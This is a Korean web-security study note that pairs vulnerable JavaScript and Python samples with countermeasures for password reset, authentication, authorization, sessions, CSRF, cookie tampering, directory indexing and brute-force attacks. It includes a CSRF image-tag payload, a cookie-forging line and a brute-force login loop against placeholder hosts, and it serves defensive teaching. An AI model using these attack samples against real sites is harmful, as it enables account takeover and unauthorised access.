취약한 비밀번호 복구 기능은 공격자가 쉽게 비밀번호를 재설정할 수 있도록 허용합니다.
취약점 예시: 보안 질문의 답이 누구나 쉽게 추측 가능한 경우. 패스워드 재설정 링크가 안전하지 않게 전달되는 경우. 소스코드 예시 (보안 질문으로 비밀번호 재설정)
const users = [{ username: 'user1', answer: 'pet', password: '1234' }]
function resetPassword(username, answer, newPassword) {
const user = users.find((u) => u.username === username)
if (user && user.answer === answer) {
user.password = newPassword
console.log('비밀번호 재설정 완료:', user)
} else {
console.log('정답이 틀립니다. 비밀번호 재설정 실패.')
}
}
resetPassword('user1', 'pet', 'newPass1234') // 누구나 정답 추측 가능
개선된 코드 (안전한 비밀번호 재설정)
이메일 링크를 통해 재설정. 링크는 토큰 기반으로 유효시간을 설정.
const crypto = require('crypto')
function generateResetToken() {
return crypto.randomBytes(32).toString('hex')
}
function sendPasswordResetEmail(username) {
const resetToken = generateResetToken()
console.log(`http://example.com/reset-password?token=${resetToken}`)
return resetToken
}
sendPasswordResetEmail('user1')
대응 방안
보안 질문 대신 토큰 기반 비밀번호 재설정 사용.
재설정 토큰에 유효시간(예: 15분) 설정.
이메일이나 SMS를 통한 2차 인증 추가.
4. 권한 탈취
4-1. 불충분한 인증
이론 불출분한 인증은 사용자의 신원을 제대로 확인하지 않고, 요청을 처리하는 취약점입니다. 즉, 사용자가 본인임을 인증하기 위한 절차가 충분히 안전하지 않거나, 인증 절차가 아예 없는 경우입니다. 공격자는 이를 악용하여 무단 접근을 시도할 수 있습니다.
소스코드 예시 (불출분한 인증 취약점)
const users = [{ username: 'user1', password: 'password123' }]
function login(username, password) {
const user = users.find((u) => u.username === username)
if (user && user.password === password) {
console.log('로그인 성공')
// 세션 생성 등을 진행
} else {
console.log('잘못된 사용자명 또는 비밀번호')
}
}
login('user1', 'password123') // 비밀번호 검증만으로 인증
취약점: 위 코드에서는 비밀번호만 검증하고 추가적인 인증(예: 2단계 인증, CAPTCHA 등)을 하지 않으므로, 공격자가 쉽게 로그인할 수 있습니다.
대응 방안
- 이중 인증 (2FA): 비밀번호 외에 OTP나 이메일 인증, SMS 인증 등을 추가하여 보안 강화를 합니다.
- CAPTCHA: 자동화된 공격을 방지하기 위해 로그인 시 CAPTCHA를 적용합니다.
- 세션 관리: 로그인 후 세션을 적절히 관리하고 세션 탈취 방지를 위해 세션 ID를 자주 갱신합니다.
4-2. 불충분한 인가
이론 불충분한 인가는 사용자가 접근할 수 있는 리소스를 제어하지 않는 취약점입니다. 즉, 사용자가 권한이 없더라도 특정 자원에 접근할 수 있는 경우입니다. 예를 들어, 일반 사용자가 관리자 페이지에 접근하는 경우가 이에 해당합니다.
소스코드 예시 (불충분한 인가 취약점)
// 관리자 페이지
function accessAdminPage(user) {
if (user.role === 'admin') {
console.log('관리자 페이지 접근')
} else {
console.log('접근 권한이 없습니다.')
}
}
const user = { username: 'user1', role: 'user' }
accessAdminPage(user) // 일반 사용자가 관리자 페이지 접근 시도
취약점: role 값만으로 권한을 판단하고 있으며, 예를 들어 role 값을 조작하여 일반 사용자가 관리자 권한을 획득할 수 있는 상황이 발생할 수 있습니다.
대응 방안
서버 측 권한 검사: 클라이언트에서 권한을 설정하는 것이 아니라, 서버 측에서 권한을 강제적으로 검사하여 불법 접근을 막습니다. JWT 토큰과 미들웨어를 활용한 인가 체계는 효과적인 방법.
권한 기반 접근 제어 (RBAC): 역할 기반 접근 제어를 사용하여 사용자의 역할에 따라 정확한 권한을 설정합니다.
4-3. 불충분한 세션 만료
세션 만료는 사용자가 로그인 후 일정 시간이 지나면 자동으로 로그아웃되는 기능입니다. 이 기능이 제대로 동작하지 않으면, 세션이 만료되지 않고 계속 유효하여 세션 하이재킹(Session Hijacking) 공격에 취약해질 수 있습니다.
세션 하이재킹 : 세션 ID를 훔쳐서 로그인 상태를 탈취하는 공격
소스코드 예시 (불충분한 세션 만료 취약점)
let session = { userId: 'user1', lastAccessTime: Date.now() }
function checkSession(session) {
if (Date.now() - session.lastAccessTime > 3600000) {
// 1시간 이상 경과하면 세션 만료
console.log('세션 만료')
session = null // 세션 만료 처리
} else {
console.log('세션 유지')
}
}
checkSession(session)
취약점: 세션 만료 시간이 정해진 시간(예: 1시간) 후 자동으로 만료되지 않는다면, 공격자가 세션을 탈취하여 계속 사용할 수 있습니다.
대응 방안
- 세션 만료 시간 설정: 일정 시간이 지나면 자동 로그아웃되도록 설정합니다.
- 세션 갱신: 사용자 활동에 따라 세션 타이머를 갱신하거나 JWT(JSON Web Tokens) 등을 사용하여 세션의 유효성을 검증합니다.
- HTTPOnly, Secure 플래그 설정: 세션 쿠키에 HTTPOnly와 Secure 플래그를 설정하여 공격자가 쿠키를 쉽게 탈취할 수 없도록 합니다.
4-4. 크로스 사이트 리퀘스트 변조
이론 CSRF는 공격자가 사용자의 브라우저를 이용하여 사용자가 의도하지 않은 요청을 다른 사이트로 보내는 공격입니다. 보통 사용자가 로그인한 상태에서 공격자가 특정 요청을 자동으로 전송하는 방식으로 발생합니다. 사용자가 알지 못한 채 악성 요청이 실행되어 중요한 데이터를 변경할 수 있습니다.
소스코드 예시 (CSRF 취약점)
<!-- 공격자가 삽입한 악성 링크 -->
<img
src="http://victim-site.com/change-password?newPassword=maliciousPassword"
/>
위와 같은 이미지를 클릭하게 되면, HTTP 요청이 victim-site.com 서버로 전송됩니다.
사용자가 로그인된 상태라면, 서버는 이 요청을 유효한 요청으로 간주할 수 있습니다.
대응 방안 CSRF 토큰 사용: 각 요청에 고유한 CSRF 토큰을 포함시켜, 서버에서 이를
검증하여 악성 요청을 차단합니다. javascript 코드 복사 // CSRF 토큰을 발급하는
방법 const csrfToken = generateCSRFToken(); // 서버에서 CSRF 토큰 검증 function
verifyCSRFToken(requestToken) { if (requestToken !== csrfToken) {
console.log('CSRF 공격이 감지되었습니다.'); } else { console.log('정상적인
요청'); } }
SameSite 쿠키 속성: 쿠키에 SameSite 속성을 설정하여, 외부 사이트에서 보내는 요청을 차단합니다.
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
Referer 헤더 검증: 요청에 포함된 Referer 헤더를 검증하여, 요청이 신뢰할 수 있는 출처에서 온 것인지 확인합니다.
5. 시스템 파일 노출
5-1. 쿠키변조
이론 쿠키 변조는 사용자의 브라우저에 저장된 쿠키 값을 조작하여 서버와의 통신에서 악의적인 요청을 보낼 수 있는 취약점입니다. 이 공격을 통해 공격자는 인증된 사용자의 권한을 탈취하거나 시스템의 중요한 데이터를 변경할 수 있습니다.
소스코드 예시 (쿠키 변조 취약점)
// 서버에서 사용자의 인증 정보를 쿠키에 저장
function setUserCookie(userId) {
document.cookie = `userId=${userId}; path=/;`
}
// 쿠키 값을 기반으로 사용자 인증을 처리
function authenticateUser() {
const cookies = document.cookie.split(';')
const userCookie = cookies.find((cookie) => cookie.includes('userId='))
if (userCookie) {
const userId = userCookie.split('=')[1]
console.log(`사용자 ${userId} 인증 완료`)
} else {
console.log('사용자 인증 실패')
}
}
// 쿠키 변조
document.cookie = 'userId=attacker; path=/' // 공격자가 쿠키를 변조
authenticateUser() // 인증되지 않은 사용자가 인증을 통과
취약점: 쿠키 값을 변조하여 정상적인 사용자의 쿠키를 공격자가 취득하거나, 불법적인 사용자로 시스템에 접근할 수 있습니다.
대응 방안
- 쿠키 서명: 쿠키 값을 서버 측에서 서명하여 변조되지 않도록 보호합니다.
- HTTPOnly, Secure 플래그: 쿠키에 HTTPOnly와 Secure 플래그를 설정하여 클라이언트 측 스크립트에서 쿠키를 접근할 수 없게 합니다.
- SameSite 쿠키 속성: 쿠키가 다른 도메인에서 사용되지 않도록 SameSite 속성을 설정합니다.
6. 시스템 과부하
6-1. 디렉터리 인덱싱
디렉터리 인덱싱은 웹 서버에서 디렉터리 목록을 자동으로 표시하는 기능입니다. 이 기능이 활성화되면, 서버 내의 파일 및 디렉터리 구조가 외부에 노출되어 보안 위험이 발생할 수 있습니다. 공격자는 이를 이용해 중요한 시스템 파일을 열람하거나 삭제할 수 있습니다.
소스코드 예시 (디렉터리 인덱싱 취약점) 디렉터리 인덱싱이 활성화된 상태에서 http://example.com/uploads/와 같이 접근하면 디렉터리 내 파일 목록이 노출됩니다.
<!-- 예시 디렉터리 목록을 웹 서버에서 출력하는 페이지 -->
<html>
<body>
<h1>디렉터리 인덱스</h1>
<ul>
<li><a href="file1.txt">file1.txt</a></li>
<li><a href="file2.jpg">file2.jpg</a></li>
<li><a href="file3.pdf">file3.pdf</a></li>
</ul>
</body>
</html>
취약점: 디렉터리 목록이 노출되면 중요한 파일이 악의적인 사용자의 손에 들어갈 수 있습니다.
대응 방안
- 디렉터리 인덱싱 비활성화: 웹 서버의 설정에서 디렉터리 인덱싱 기능을 비활성화합니다. 예를 들어, Apache에서는 .htaccess 파일을 사용해 Options -Indexes를 설정합니다.
- 파일에 접근 제한: 중요한 파일에는 적절한 권한을 설정하여 불필요한 접근을 제한합니다.
6-2. 자동화 공격
자동화 공격은 공격자가 봇이나 스크립트를 이용하여 시스템에 대해 반복적으로 악의적인 요청을 보내는 공격입니다. 예를 들어, 브루트포스 공격(Brute Force Attack)이나 스크래핑(Scraping), 디도스 공격이 이에 해당합니다. 이러한 공격은 자원을 과다하게 사용해 시스템을 과부하시킬 수 있습니다.
소스코드 예시 (자동화 공격 취약점)
import requests
# 자동화된 로그인 공격 (브루트포스 공격)
url = 'http://example.com/login'
credentials = [('admin', 'password1'), ('admin', 'password2'), ('admin', 'password3')]
for username, password in credentials:
response = requests.post(url, data={'username': username, 'password': password})
if "로그인 성공" in response.text:
print(f"로그인 성공: {username} / {password}")
취약점: 자동화된 스크립트를 사용하여 다양한 비밀번호를 시도하는 방식으로 시스템을 공격할 수 있습니다. 이로 인해 서버에 과부하를 일으키거나 계정 탈취를 할 수 있습니다.
대응 방안
- CAPTCHA: 자동화된 공격을 차단하기 위해 로그인 폼에 CAPTCHA를 추가하여 봇의 접근을 막습니다.
- 브루트포스 방지: 여러 번 실패한 로그인 시도 후 계정을 잠그거나 로그인 시도 제한을 설정합니다. : express-rate-limit 라이브러리 활용
- IP 제한: 동일한 IP에서 너무 많은 요청이 발생하면 일정 시간 동안 차단하는 등의 트래픽 제어 방법을 적용합니다.
- 디도스 공격 : express-slow-down 활용